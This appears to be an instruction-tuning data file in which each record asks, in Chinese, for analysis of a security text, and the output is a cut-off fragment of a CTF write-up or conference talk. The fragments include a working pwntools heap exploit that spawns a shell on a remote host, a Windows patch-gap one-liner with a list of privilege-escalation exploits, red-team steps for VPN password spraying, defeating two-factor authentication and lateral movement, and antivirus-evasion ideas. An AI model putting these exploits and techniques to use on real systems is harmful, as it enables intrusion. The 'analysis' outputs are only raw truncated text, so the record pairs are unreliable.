{"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n2018 LCTF By Nu1L 2018 LCTF PWN easy_heap pwn4fun echos just_pwn WEB Travel T4lk 1s ch34p,sh0w m3 the sh31l 1. includewebshell 2. remoteipphar 3. wrapper phar:// =>RCE L playground2 EZ OAuth userssrf -> God of domain pentest sh0w m3 the sh31l 4ga1n 1. 2. tmpfile getshell bestphp's revenge soapssrf+crlfphpsessidflag.php session_start()sessionfile call_user_funcsoap Re easy_vm Qt b2w Lunatic Game Lunatic MSP430 misc osu! gg bank easy little trick https://lctf.pwnhub.cn/index 2018/11/17 9:00-2018/11.18 21:00 PWN easy_heap read_noff by one null from pwn import * def add(size,data): p.recvuntil('>') p.sendline('1') p.recvuntil('size') p.sendline(str(size)) p.recvuntil('content') p.send(data) def dele(index): p.recvuntil('>') p.sendline('2') p.recvuntil('index') p.sendline(str(index)) #p=process('./easy_heap')#,env={'LD_PRELOAD':'./libc64.so'}) p=remote('118.25.150.134', 6666) libc = ELF('./libc64.so') for i in range(10): add(0xf0,'aaa\\n') dele(1) for i in range(3,8): dele(i) dele(9) dele(8) dele(2) dele(0) for i in range(7): add(0xf0,'aaa\\n') add(0,'') add(0xf8,'\\n') dele(0) dele(1) dele(2) dele(3) dele(4) pwn4fun exp flag dele(6) dele(5) for i in range(7): add(16,'/bin/bash\\n') p.recvuntil('>') p.sendline('3') p.recvuntil(\"index \\n> \") p.sendline('8') addr = u64(p.recv(6).ljust(8,'\\x00')) libc_base = addr - (0x00007f97e7321ca0-0x7f97e6f36000) info(hex(libc_base)) free_hook = libc_base+libc.symbols['__free_hook'] #sys = libc_base + libc.symbols['system'] sys = libc_base +0x4f322 info(hex(sys)) info(hex(free_hook)) add(0,'') dele(5) dele(8) dele(9) add(16,p64(free_hook)+'\\n') add(16,'/bin/bash\\x00') add(16,p64(sys)+'\\n') dele(0) p.interactive() from pwn import * context.log_level = 'debug' def sigin(p, username): p.recvuntil('sign (I)n or sign (U)p?') p.sendline('I') p.recvuntil('input your name') p.send(username) def choose(p, c): p.recvuntil('4. do nothing') p.sendline(str(c)) def pwn(p): count = 0 p.recvuntil('press enter to start game') p.send('\\n') #gdb.attach(p) sigin(p,", "category": "text_analysis", "source": "security_papers"}
{"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n# Windows 提权 -- 快速查找 exp ### 微软官方时刻关注列表网址 ~~https://technet.microsoft.com/zh-cn/library/security/dn639106.aspx~~ 地址更新为 https://docs.microsoft.com/zh-cn/security-updates/securitybulletins/2017/securitybulletins2017 ![](media/dff0648ea3163cbe403c144932470520.jpg) 比如常用的几个已公布的 exp * KB2592799 * KB3000061 * KB2592799 * ... 快速查找未打补丁的 exp可以最安全的减少目标机的未知错误以免影响业务 命令行下执行检测未打补丁的命令如下 ```powershell systeminfo>micropoor.txt&(for %i in ( KB977165 KB2160329 KB2503665 KB2592799 KB2707511 KB2829361 KB2850851 KB3000061 KB3045171 KB3077657 KB3079904 KB3134228 KB3143141 KB3141780 ) do @type micropoor.txt|@find /i \"%i\"|| @echo %i you can fuck)&del /f /q /a micropoor.txt ``` **注**以上需要在可写目录执行需要临时生成micrpoor.txt以上补丁编号请根据环境来增删 ### 示例 一般实战中在类似 `tmp` 目录等可写目录下执行如 `C:\\tmp>` 以 `11-080` 为例 ![](media/3b63ae0a14a9720140246f049ed8ab41.jpg) ![](media/b0f61077ab0e9fd3adeed9eafc0860c6.jpg) ![](media/bd807d9aabc43114610a6acee7338a78.jpg) ### exp注 ```markdown MS17-017 [KB4013081] [GDI Palette Objects Local Privilege Escalation] (windows 7/8) CVE-2017-8464 [LNK Remote Code Execution Vulnerability] (windows 10/8.1/7/2016/2010/2008 CVE-2017-0213 [Windows COM Elevation of Privilege Vulnerability] (windows 10/8.1/7/2016/2010/2008) MS17-010 [KB4013389] [Windows Kernel Mode Drivers](windows 7/2008/2003/XP) MS16-135 [KB3199135] [Windows Kernel Mode Drivers] (2016) MS16-111 [KB3186973] [kernel api] (Windows 10 10586 (32/64)/8.1) MS16-098 [KB3178466] [Kernel Driver] (Win 8.1) MS16-075 [KB3164038] [Hot Potato] (2003/2008/7/8/2012) MS16-034 [KB3143145] [Kernel Driver] (2008/7/8/10/2012) MS16-032 [KB3143141] [Secondary Logon Handle] (2008/7/8/10/2012) MS16-016 [KB3136041] [WebDAV] (2008/Vista/7) MS15-097 [KB3089656] [remote code execution] (win8.1/2012) MS15-076 [KB3067505] [RPC] (2003/2008/7/8/2012) MS15-077 [KB3077657] [ATM] (XP/Vista/Win7/Win8/2000/2003/2008/2012) MS15-061 [KB3057839] [Kernel Driver] (2003/2008/7/8/2012) MS15-051 [KB3057191] [Windows Kernel Mode Drivers] (2003/2008/7/8/2012) MS15-010 [KB3036220] [Ker", "category": "text_analysis", "source": "security_papers"}
{"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nCREATING THE DEFCON CHINA 1.0 BADGE joe Grand aka kingpin introduction / badge history  bring community together through interactivity  create game to encompass the defcon experience  simple design that could be expanded during/ after defcon  interactive, command-based menu for additional exploration goals  complete tasks, get rewarded  4 roots and 4 branches, each with 4 leds  when task is complete, badge inserted into programmer to unlock LED  when each root is complete, magic happens  when all roots are complete, more magic happens gameplay early concepts Prototyping block diagram Hardware USB POWER LED control ACCELEROMETER mcu FPC  First for conference badge  new material (for us) opens up new risks/ challenges  specific stack-up to meet edge connector requirements  MAJOR SUPPORT by electronic interconnect, adapt electronics FLEXIBLE PRINTED CIRCUIT (FPC)  edge connector as interface to the outside world  UART, I2C, AVR ICSP  used with programming shield to set/read state of badge leds FLEXIBLE PRINTED CIRCUIT (FPC) pin 1 pin 12 1. GND 2. SCK 3. MISO 4. MOSI 5. /RST 6. SDA 7. SCL 8. SIN 9. SOUT 10. / SEN SE 11. GPI O 12 VCC FLEXIBLE PRINTED CIRCUIT (FPC) IT BEND S!  test  test  test Schematic USB INTERFACE  allows for arduino programming and interactive mode  FT231X USB-to-Serial UART  entire usb protocol handled on-chip  host will recognize as virtual serial device/com port  mosfets for soft-start and power switchover led matrix  multiplexing via led matrix library  row controlled by discrete i/O  column controlled through 74hc595 shift register  refresh @ 175hz to reduce flicker  each led individually addressable, dimmable (16 levels) accelerometer  ST microelectronics LIS3DH  3-axis digital output (i2c/SPI)  +/- 2, 4, 8, 16g range  interrupt on motion or free fall  used to preserve battery life  sleep mode @ 10 seconds of inactivity  Raw values available through interactive mode bill-of- materials  ARDUINO  open source platform based on easy-to-use hw/sw/FW ", "category": "text_analysis", "source": "security_papers"}
{"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n!\"#$%&'() 360高级攻防-灵腾实验室  赖志活 Wfox 0 !\"#$%&'( 1 针对外网开放资产进行探测定位远程办公类系统并进行攻击以达到突破网络边界窃取数 据的目的  VPN系统深信服VPN思科VPN  办公云桌面Vmware HorizonCitrix深信服VDI  办公OA泛微致远蓝凌通达  邮件系统Exchangecoremail亿邮 !\"#$%&'(  )*+'( 2 1. 收集用户名密码规律 1) 用户名规律  常见用户名姓名全拼zhangsan名字缩写wangsm姓名倒序sanzhang工号01111  已有通讯录top500top1000百家姓top50w 2) 密码规律  已知初始密码弱口令键盘密码 !\"#$%&'(  )*+'( 3 2. 密码喷洒 动态代理池绕过登录限制接口密码喷洒弱口令 POST /por/login_psw.csp?type=cs&dev=mac&language=zh_CN&encrypt=0 HTTP/1.1 Host: vpn.xxx.com Content-Type: application/x-www-form-urlencoded Content-Length: 49 svpn_name=test&svpn_password=test&svpn_rand_code= !\"#$%&'(  )*+'( 4 2. 密码喷洒  爆破成功  爆破失败 !\"#$%&'(  )*+'( 5 3. 双因子认证突破  手机验证码 1) 社工骗取验证码  手机动态口令 1) 综合其他社工途径获取到的VPN使用文档得知动态令牌绑定过程 2) 尝试获取种子二维码如邮箱微信企业IMkey文件等途径  机器码绑定 1) 初次登录可直接绑定机器 !\"#$%&'(  )*+'( 6 4. 可达网段定位 除了导航页Web资源外可查看本机路由表 route print定位所有可访问的内网网段 网段10.128.0.0掩码255.128.0.0 IP范围10.128.0.0  10.255.255.255 !\"#$%&'(  )*+'( 7 5. VPN内网扫描 从小到大的原则添加单个IP资源或IP段一般为重要应用系统  针对单个IP的资源进行探测255.255.255.255  针对小C段进行探测255.255.255.128-255  针对C段进行扫描255.255.255.0  可达网段大范围扫描 !\"#$%&'(  )*+ 8 !\"#$%&'(  )*+ 9 1. 攻击入口 国内常见云桌面如Citrix深信服VDI VMware Horizon用途通常分为日常办公开发环境 测试环境准生产环境等  口令收集登录  弱口令喷洒  历史漏洞利用Citrix !\"#$%&'(  )*+ 10 2. 横向手法 云桌面内访问的资源取决于当前云桌面的用途  信息收集浏览器记录保存密码其他用户目录的文件共享盘文件  业务相关gitlabwikijiraJenkins  集权管控AD域控VMware ESXiVMware Vcenter  传统攻击弱口令通用漏洞0day漏洞 !\"#$%&'(  )*+ 11 3. 攻击案例1 !\"#$%&'(  )*+ 12 4. 攻击案例2 云桌面资源用户认证等都是基于AD域拿下域控等于控制所有办公电脑 1. 常见手段攻击域控zerologonms17010弱口令等 2. 定位运维人员账号云桌面 3. 控制权限并信息收集服务器资源表密码本 4. 通过密码本或基于当前权限xshell软件保存密码直接登录测试环境 5. 控制集权管控类设备如堡垒机VCenterESXi !\"#$%&'(  )*+ 13 5. 网络突破 1) 突破出网限制 1) 部分机器可直接出网 2) 部分机器配置IE代理可出网 2) 测试网突破生产网 1) 测试生产区分不明确区域之间可互相访问 2) 寻找高权限机器当跳板突破生产网 3) 利用VCenter的生产vSwitchvlan创建虚拟机以此作为跳板攻击生产网 !\"#$%&'(  %&)* 14 办公OA是近年攻防演练突破边界的重灾区0day漏洞频出泛微致远蓝凌通达 1. 0day漏洞1day漏洞nday漏洞撕口子 2. 密码收集弱口令登入办公OA收集各类文档 3. 收集员工通讯录姓名岗位手机号邮箱再次定点钓鱼 !\"#$%&'(  )*'( 15 1. 邮件钓鱼 1) 探测存活邮箱互联网检索SMTP协议爆破coremail接口爆破 2) 邮件伪造 3) 安全网关绕过 2. 漏洞攻击 1) Exchange ServerCVE-2020-0688proxylogonproxyshell 2) 亿邮RCE 3) Coremail RCE !\"#$%& 16", "category": "text_analysis", "source": "security_papers"}
{"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nSecurity Response Center 吴 永 佳 国内SRC的漏洞趋势变化 及漏洞挖掘的一些思路分享 关于我 一名白帽子 常用ID getshell1993 曾活跃于多个第三方漏洞平台及众测平台 曾活跃于多个SRC漏洞平台 SogouSRC BaiduSRC 360SRC CainiaoSRC WifiSRC TuniuSRC MeizuSRC DouyuSRC Wooyun Xianzhi Allsec DidiSRC MobikeSRC NcfSRC SinaSRC LenovoSRC LetvSRC  国 内 S R C 的 漏 洞 趋 势 变 化 1 Past Now 传统漏洞企业自动化扫描检测越来越成熟 大型互联网企业开发人员安全意识逐步提升 SDLCRASPWAFHIDS蜜罐统一认证 传统漏洞 挖掘成本越来越高 大型互联网企业安全团队不断壮大 开发框架安全性正在逐步提升 2016年发生的两件对国内信息安全行业产生颠覆式影响的大事 2 多 关 注 那 些 容 易 被 忽 视 的 资 产 常规资产信息收集手段 如IP端口扫描同网段扫描子域名的各类收集方式及爆破等等 当然对SRC厂商子域名和IP端口变化的监控非常重要 但是这次我要介紹一些在平常测试中容易被忽略的企业资产 关于企业资产还应多关注以下重灾区 非普通用户使用的系统 企业使用的外部第三方系统和比较隐蔽的系统 企业的微信公众号/小程序 企业的支付宝生活号/小程序 APP Store 安卓市场的所有APP+内部APP 各省市分公司的自建站点  注册账号要提供这么多信息 放弃放弃关闭页面关闭浏览器再见 非个人用户使用的系统 媒体认证 卖家认证 企业认证 开发者认证 医生认证 Vip账号 作者认证 主播认证 司机认证 突破常规不走寻常路 当大家都朝着一个固定的方向去发现问题时而你却独自朝相反的方向探索往往会有惊喜 非普通用户使用的系统 部分平台审核不严很多情况下提供资料注册即可通过或简单电话验证即可通过 想办法提供各类资料注册注册公司/购买营业执照网上公开信息收集PS 注册不了的想办法获取到账号爆破/撞裤套路社工在线客服/人工客服文库/QQ群/github泄漏等 借账号/租账号/买账号在部分情况下也可以当威胁情报提交 有些账号也可以花几十块钱在某宝上或QQ群上购买 营业执照可以轻易购买 有些账号也可以通过信息泄露方式获取 柳暗花明又一村 漏洞多通过率接近100%美滋滋 18年提交的部分SRC漏洞 非普通用户注册使用系统的漏洞 企业使用的外部第三方系统和比较隐蔽的系统 有时通过网络空间资产搜索企业信息会有惊喜 如FOFASHODAN 以及各类搜索引擎 比如此类惊喜 企业使用的外部第三方系统和比较隐蔽的系统 以平安为例 企业使用的外部第三方系统和比较隐蔽的系统 以平安为例 也可以根据其证书header信息备案号等信息搜索 企业使用的外部第三方系统和比较隐蔽的系统 以平安为例 企业使用的外部第三方系统和比较隐蔽的系统 18年提交的部分SRC漏洞 第三方系统漏洞 关于国内SRC 选择大于努力系列 同个第三方厂商系统 三家SRC奖励分别是400001000450 适用大型企业SRC业务多资产复杂 关键词搜索+账号主体过滤 关注企业每个业务每个分公司对应的微信公众号 新活动新业务上线往往会有公众号消息推送 企业的微信/支付宝公众号+小程序+APP 企业的微信/支付宝公众号+小程序+APP 以平安为例 以平安为例  企业的微信/支付宝公众号+小程序+APP 企业的微信/支付宝公众号+小程序 18年提交的部分SRC漏洞公众号/小程序/APP相关漏洞 XXXX微信存储XSS打到大量cookie XXXX微信一处遍历企业信息 XXXX任意绑定账号可查看任意手机号订单信息 XXXX微信端整站订单泄露 XXXX公众号商城存在SQL注入 XXXX分公司公众号可getshell XXXX微信端越权可导致整站用户地址信息泄露 XXXX小程序XSS盲打到进入后台 XXXX微信小程序越权使用他人优惠券导致0元支付 XXXX微信端一处任意文件读取+SSRF XXXX小程序越权查看整站订单信息 XXXXAPP城支付漏洞可控制订单金额 XXXXAPP某处用户信息泄露  人 是 最 大 的 漏 洞 3 Github信息泄露监控 基于代码搜索关键字匹配域名/兄弟域名/内网域名/企业内部密码 https://github.com/0xbug/Hawkeye https://github.com/MiSecurity/x-patrol https://github.com/VKSRC/Github-Monitor  另类思路 从GitHub的账户出发通过邮箱进一步获得对应的用户名 混入内部QQ群等>提取Q", "category": "text_analysis", "source": "security_papers"}
{"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n## Sandbox (pwn, 5p) Escape from this broken sandbox notice: You have to solve the warmup task first. And try to get the flag at /home/sandbox/flag We were given small [Linux binary](sandbox): ``` sandbox: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=d833f31d8d8592636906d44b40da9bcdbc0d686b, stripped ``` Based on task title and description we suspect that Warmup challenge solved previously may be part of this tasks. We verify this by run Warmup exploit against new server. As expected, exploit successfully retrieved flag from */home/warmup/flag* file. The same exploit however fails to retrieve */root/home/sandbox/flag*. We suspect that in order to solve the tasks, we need to bypass sandbox implemented by the provided binary. ### Sandbox Analysis We used Radare2 to disassemble the binary. The binary implements simple sandbox that inspects syscalls from monitored binary using ptrace. This functionality is implemented by subroutine 0x00400b50. Syscall inspection is as follows: ``` | 0x00400c3e 488d742410 lea rsi, [rsp + 0x10] ; struct user ctx | 0x00400c43 89df mov edi, ebx | 0x00400c45 e876010000 call fcn.ptrace_getregs | 0x00400c4a 488b84248800. mov rax, qword [rsp + 0x88] ; ctx.regs.orig_rax | 0x00400c52 4883f805 cmp rax, 5 ; = SYS32_open | ,=< 0x00400c56 7466 je 0x400cbe ; additional logic | | 0x00400c58 4883f801 cmp rax, 1 ; = SYS32_exit | ,==< 0x00400c5c 7467 je 0x400cc5 ; allow | || 0x00400c5e 488d50fd lea rdx, [rax - 3] | || 0x00400c62 4883fa01 cmp rdx, 1 ; in (SYS32_read, SYS32_write) | ,===< 0x00400c66 765d jbe 0x400cc5 ; allow | ||| 0x00400c68 4883f806 cmp rax, 6 ; = SYS32_close | ,====< 0x00400c6c 7457 je 0x400cc5 ; allow | |||| 0x00400c6e 4883f81b cmp rax, 0x1b ; = SYS32_alarm | ,=====< 0x00400c72 7451 je 0x400cc5 ; allow | ||||| 0x00400c74 4883f85a cmp rax, 0x5a ; = SYS32_mmap | ,======< 0x00400c78 744b je 0x400cc5 ; allow | |||||| 0x00400c7a 4883f87d c", "category": "text_analysis", "source": "security_papers"}
{"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n极棒跨次元 CTF 初赛解题报告 本队伍承诺诚信比赛比赛期间队伍之间不互相交流思路和 Flag本队伍承诺题目包 中的所有内容仅用于信息安全学习不用于任何其它恶意用途本报告均由本队伍独立完成 队伍 Nu1L 提示题目名称后面的数字为本题总分数详细评分规则请见题目包内部 ReadMe题 目不分先后顺序 SignIn-10 Flagflag{Geekpwn2016} 直接修改高度 Only a JPG-150 Flagflag{fight_on_the_stage} 解题步骤 提取 MP4 文件 SecretCode-150 Flag 解题步骤 这题用 ollvm 混淆了下写了段代码直接爆破从-2147483648 到 2147483647 都爆了一遍还 是没发现答案由于是 double 型可能有小数部分或者数字特别大范围太大爆不下去了 混淆后代码太恶心就没有继续看了 撕裂的藏宝图-150 Flagflag{g1ve_Me_Five!!} 解题步骤 题目描述 发现藏宝图找到秘密 入口http://map.geekpwn.org/entry.html 打开目标 URL 后发现都是不断跳转的站内连接直接 #wget m http://map.geekpwn.org/entry.html 有两张图片 http://map.geekpwn.org/map2_ghasdfhjlsadvbjsbfjjasd.bmp http://map.geekpwn.org/map1_asdjduhfuasjkdhakjsdhkja.bmp 都是一样的乱直觉直接用神器 StegoSolve XOR 两张图片 都是 IPC 惹的祸-150 解题步骤 消失的 Flag-250 Flag 解题步骤 逆向发现是个 kms 激活程序自带激活码{0ff1ce15-a989-479d-af46-f275c6370663}也可以 自行输入一个激活码然而并不知道题目的具体意图 Hollyhigh Image-350 Flag 解题步骤 1 随便上传一些图片发现都被禁有一些是超过最大上传大小有一些返回 nonono 一 开始摸不着头脑所以就随手弄了些更小的图片试试 2 尝试成功跳转到了 emage.geekpwn.org/showpic.html# 3 太辣眼睛了 background image看源码觉得 loadfile.php 很明显一个读文件的功能 4 一开始不知道因为啥一直有问题之后题目变了给了 loadfile1.php 是 loadfile.php 的源 码成功用 loadfile.php 读出了 upload.php 的源码  4096) { die('nonono'); } if(move_uploaded_file($_FILES['userfile']['tmp_name'], $uploadfile)) { var_dump($_FILES['userfile']); $command = \"/tmp/ctf/g33kpwchen \" . $uploadfile; echo $command . \"\\n\"; exec($command, $res); $width = $res[0]; $height = $res[1]; $filename = $res[2]; $url = \"/showpic.html#\".substr($filename, 21); header(\"HTTP/1.1 301 Moved Permanently\"); header (\"Location: \" . $url); } else { echo \"fail\"; } ?> 文件名是上传文件名作一次 md5 哈希感觉没什么搞点看了源码之后就确定了 是构造文件内容逆向 g33kpwchen有 tips 发现是开启了 ASLR 逆向部份 构造 P3 开头的文件 HugMe-300 Flagflag{e01eeed093cb22bb} 解题步骤 一个加了壳的swf(后来知道是doswf的壳) 先preload挂个TheMiner然后看loader的内容脱去第一层壳 反编译取出的swf发现一个坑 显示出来的hugme啥用都没有需要点击的那个hugme又没被正确加载需要自己做 修改 然后才能看见真正的按钮 接着关键的判断逻辑 然而Verify运行时才载入 于是再次脱壳TheMiner没hook loadByte", "category": "text_analysis", "source": "security_papers"}
{"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nDe Gustibus* Adventures in Hacking Taste Sandy Clark (Mouse) Erin (Edw0rd) Defcon 09 *De Gustibus Non Est Disputandem Confessions of a Foodie  Hackers in Norway (the motivation for this talk) Confessions of a Foodie  Hackers in Norway (the Motivation for this talk)  The child is the maker of the Mouse Confessions of a Foodie  Hackers in Norway (the Motivation for this talk)  The child is the maker of the Mouse  What you may expect today.  The Science  The Experiments The Science:  This is your brain on taste  Tastes Like Chicken  Commercially Prepared foods DOS your brain.  You are what you eat, literally! The Experiments:  How to taste Chocolate  Chocolate & Wine  Why the fuss over a Vinegar?  Miracle Fruit Banyuls What the Experts say: Banyuls is a grenache-based fortified wine that has been made since the thirteenth century. It was then that a physician and alchemist named Arnaud de Villeneuve discovered the method of mutage, when he figured out that the fermentation of wine could be halted by adding pure grape spirit to it, thereby leaving it sweet. Banyuls is allowed to ferment until it has about six percent alcohol, then spirit is added, raising the alcohol level to about fifteen percent. a sweet wine that is a classic companion to semi-sweet or dark chocolate. While rich and full-bodied, it is less sweet and syrupy than a typical dessert wine. It possesses a lovely garnet color and a good balanced acidity that makes it come off as more delicate than vintage port. What I say: Meh! --- That is, until you pair it with Chocolate How to taste Chocolate  Use your Eyes  Touch it  Use your Ears  Smell It  Now Put it on your tongue - It must melt, to be tasted. The steps to tasting anything (especially chocolate):  1. Put a tiny piece in your mouth, allow it to melt  2. Concentrate on mouth feel and change of flavors over time  3. Look for flavor notes: Do they change, are they combined or separate, how intense are they?  4. Do you feel bitterness, acid, astringency? ", "category": "text_analysis", "source": "security_papers"}
{"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n2016 Check Point Software Technologies Ltd. PHP7 Memory Internals for Security Researchers Yannay Livneh | Security Researcher TEACHING THE NEW DOG OLD TRICKS About Me  Yannay Livneh  Security Researcher @ CheckPoint  Play w/  Networks  Embedded  Linux  Memory Corruptions  and stuff . AGENDA  Introduction  PHP Unserialize  ZVAL System  Unserialize + ZVAL => Bugs  Allocator  Bugs + Allocator => Exploit  Q.E.D. . (THIS WORLD WE LIVE IN) PHP  its interesting  Widely used  Servers rule the world  PHP-7 - future . PHP Security  Vulns vulns vulns  SQL Injection  XSS  Memory corruption?  Native functions  User input  UNSERIALIZE . Unserialize History of Insecurity  More CVEs than I can count  Object Injection (PoP)  Memory Corruptions  Generic Exploitation (@i0n1c) . Examples in the wild . PHP-7  Released in December 2015  New values (zval) system  New Memory Allocation  => previous exploitation irrelevant . Unserialize Nowadays  PHP-7  Some CVEs  Object Injection (PoP)  Memory Corruptions  No Remote Exploits . UNSERIALIZE (WHAT WE EXPLOIT) Unserialize Serialize/Unserialize Serialization $val = array( NULL, 1337, apple, array( a => 1, new stdClass(), 7331 ) ); serialize($val); Serialization a:4:{ } $val = array( NULL, 1337, apple, array( a => 1, new stdClass(), 7331 ) ); serialize($val); Serialization a:4:{i:0;N; } $val = array( NULL, 1337, apple, array( a => 1, new stdClass(), 7331 ) ); serialize($val); Serialization a:4:{i:0;N;i:1;i:1337; } $val = array( NULL, 1337, apple, array( a => 1, new stdClass(), 7331 ) ); serialize($val); Serialization a:4:{i:0;N;i:1;i:1337;i:2;s:5:apple; } $val = array( NULL, 1337, apple, array( a => 1, new stdClass(), 7331 ) ); serialize($val); Serialization a:4:{i:0;N;i:1;i:1337;i:2;s:5:apple; i:3;a:3:{ }} $val = array( NULL, 1337, apple, array( a => 1, new stdClass(), 7331 ) ); serialize($val); Serialization a:4:{i:0;N;i:1;i:1337;i:2;s:5:apple; i:3;a:3:{s:1:a;i:1; }} $val = array( NULL, 1337, apple, array( a => 1, new stdClass(), 7331 ) ); se", "category": "text_analysis", "source": "security_papers"}
{"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n# Writeup Defcamp CTF Quals 2016 Team: psrok1, seikendev, c7f.m0d3, cr019283, nazywam, rev, msm, akrasuski1, shalom ![](./scoreboard.png) ![](./chart.png) ### Table of contents * [F4ceb00k 60s (Web 100)](web100) * [URL Anonymizer (Web 200)](web200) * [Bad OTPxploited (RevCrypt 100)](revcrypt100) * [Rucksack (RevCrypt 200)](revcrypt200) * [Decoy (RevCrypt 300)](revcrypt300) * [dctfizer (RevCrypt 400)](revcrypt400) * [Warm heap (Exploit 100)](exp100) * [The nospecial virus (Misc 100)](misc100) * [b4s14l (Misc 150)](misc150) * [Musicetry (Misc 200)](musicetry_misc_200) * [Evil farmers (Misc 400)](misc400)", "category": "text_analysis", "source": "security_papers"}
{"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n2020 4141414141414141414 AAAAAAAAAAA HITCON aaaddress1@chroot.org Reversing In Wonderland Neural Network Based Malware Detection Techniques  Master degree at CSIE, NTUST  Security Researcher - chrO.ot  Speaker - BlackHat, DEFCON, HITCON, CYBERSEC  aaaddress1@chroot.org  30cm.tw & Hao's Arsenal #Windows #Reversing #Pwn #Exploit  Associate Professor of CSIE, NTUST  Joint Associate Research Fellow of CITI, Academia Sinica  smcheng@mail.ntust.edu.tw #4G #5G #LTE_Attack #IoT aaaddress1@chroot.org 1. Malware in the Wild 2. Semantics 3. Semantic-Aware: PV-DM 4. Asm2Vec & Experiment 5. Challenge /?outline aaaddress1@chroot.org Malware In the Wild aaaddress1@chroot.org #behavior aaaddress1@chroot.org #behavior aaaddress1@chroot.org #behavior aaaddress1@chroot.org # rule silent_banker : banker { meta: description = \"malware in the wild\" threat_level = 3 in_the_wild = true strings: $a = {6A 40 68 00 30 00 00 6A 14 8D 91} $b = {8D 4D B0 2B C1 83 C0 27 59 F7 F9} $c = \"UVODFRYSIHLNWPEJXQZAKCBGMT\" condition: $a or $b or $c } YARA aaaddress1@chroot.org File Headr Opt Header PE Data $a $c +a0 +1e8 +9f7c malware.exe [detected] $b /?malware aaaddress1@chroot.org File Headr Opt Header PE Data $a $b $c +a0 +1e8 +9f7c malware.exe [detected] File Headr Opt Header PE Data (patched) malware_test#1.bin #1 \\x00\\x00.. \\x00\\x00.. detect /?malware aaaddress1@chroot.org /?malware File Headr Opt Header PE Data $a $b $c +a0 +1e8 +9f7c malware.exe [detected] File Headr Opt Header PE Data (patched) malware_test#2.bin #2 \\x00\\x00.. \\x00\\x00.. clear aaaddress1@chroot.org File Headr Opt Header PE Data $a $b $c +a0 +1e8 +9f7c malware.exe [detected] File Headr Opt Header PE Data (patched) malware_test#3.bin #3 \\x00\\x00.. \\x00\\x00.. detect /?malware aaaddress1@chroot.org #免殺 aaaddress1@chroot.org #免殺 aaaddress1@chroot.org #AMSI aaaddress1@chroot.org  Active Protection System - rule-based, not strong enough against unkown attacks  Malware Pattern based on Reversing - lack of lexical semantic of assembly  fa", "category": "text_analysis", "source": "security_papers"}
{"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nlog4jdetect 被动检测专项被动检测脚本 安依依赖 source file: https://gist.github.com/n00BToT/5592eb2255d62660ef1553819249c238 被动代理https://github.com/qiyeboy/BaseProxy 在 https://github.com/fullhunt/log4j-scan 上面改 思路 被动扫描方式 监听流量 hook 请求方法 过滤 pngjpg 等等图片的黑名单 根据 dnslog 平台 制作 payload 根据 payload 变形 url参数post data参数 headers 发包 不足 扫描的攻击面纯依赖外部爬虫爬取的链接被动扫描 特征太明显容易被封不适合用作护网攻击行为如需用作护网攻击用则需要挂载代理 池等 usage: python3 -m pip install colorslogging requests termcolor PyCryptodome -i https://pypi.tuna.tsinghua.edu.cn/simple  Desktop python3 log4j_detect.py -h [] CVE-2021-44228 - Apache Log4j RCE Scanner [] Scanner provided by FullHunt.io - The Next-Gen Attack Surface Management Platform. [] Secure your External Attack Surface with FullHunt.io. usage: log4j_detect.py [-h] [-d DEBUG] [-p PROXY] [--wait-time WAIT_TIME] [-- waf-bypass] [--custom-waf-bypass-payload CUSTOM_WAF_BYPASS_PAYLOAD] [--test- CVE-2021-45046] [--dns-callback-provider DNS_CALLBACK_PROVIDER] [-- custom-dns-callback-host CUSTOM_DNS_CALLBACK_HOST] [--disable-http-redirects] options: -h, --help show this help message and exit -d DEBUG, --debug DEBUG logger debug -p PROXY, --proxy PROXY send requests through proxy --wait-time WAIT_TIME Wait time after all URLs are processed (in seconds) - [Default: 5]. --waf-bypass Extend scans with WAF bypass payloads. --custom-waf-bypass-payload CUSTOM_WAF_BYPASS_PAYLOAD Test with custom WAF bypass payload. --test-CVE-2021-45046 Test using payloads for CVE-2021-45046 (detection payloads). --dns-callback-provider DNS_CALLBACK_PROVIDER DNS Callback provider (Options: dnslog.cn, interact.sh) - [Default: interact.sh]. --custom-dns-callback-host CUSTOM_DNS_CALLBACK_HOST Custom DNS Callback Host. --disable-http-redirects Disable HTTP redirects. Note: HTTP redirects are useful as it allows the payloads to have a higher chance of reaching vulnerable systems.", "category": "text_analysis", "source": "security_papers"}
{"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nEvading next-gen AV using A.I. Hyrum Anderson hyrum@endgame.com @drhyrum /in/hyrumanderson The Promise of Machine Learning  Learn from data what constitutes malicious content or behavior  Discriminatory patterns learned automatically, not obviously constructed by hand  Generalize to never-before-seen samples and variants  so long as data used for training is representative of deployment conditions  motivated adversaries actively trying to invalidate this assumption x1 rule malware { strings: $reg = \\\\CurrentVersion\\\\Internet Settings condition: filesize < 203K and #reg > 3 } Goal: Can You Break Machine Learning?  Static machine learning model trained on millions of samples x1 Machine Learning Model score=0.75 (malicious, moderate confidence)  Simple structural changes that dont change behavior Machine(Learning( Model score=0.49 (benign, just barely)  unpack  .text -> .foo (remains valid entry point)  create .text and populate with .text from calc.exe Adversarial Examples  Machine learning models have blind spots / hallucinate (modeling error)  Depending on model and level of access, they can be straightforward to exploit  e.g., deep learning is fully differentiable (directly query what perturbation would best bypass model)  Adversarial examples can generalize across models / model types (Goodfellow 2015)  blind spots in YOUR model may also be blind spots in MY model (scaled(for(visibility) image(credit:(http://www.popsci.com/byzantine-science-deceiving-artificial-intelligence Taxonomy of Attacks Against ML  can get a score  black box  but can arbitrarily probe and get a score  score = raw output / confidence before thresholding for good/bad  has your model  architecture & weights are known  a direct attack on your model  easy for deep learning  gradient perturbation  dueling models / GAN  can get 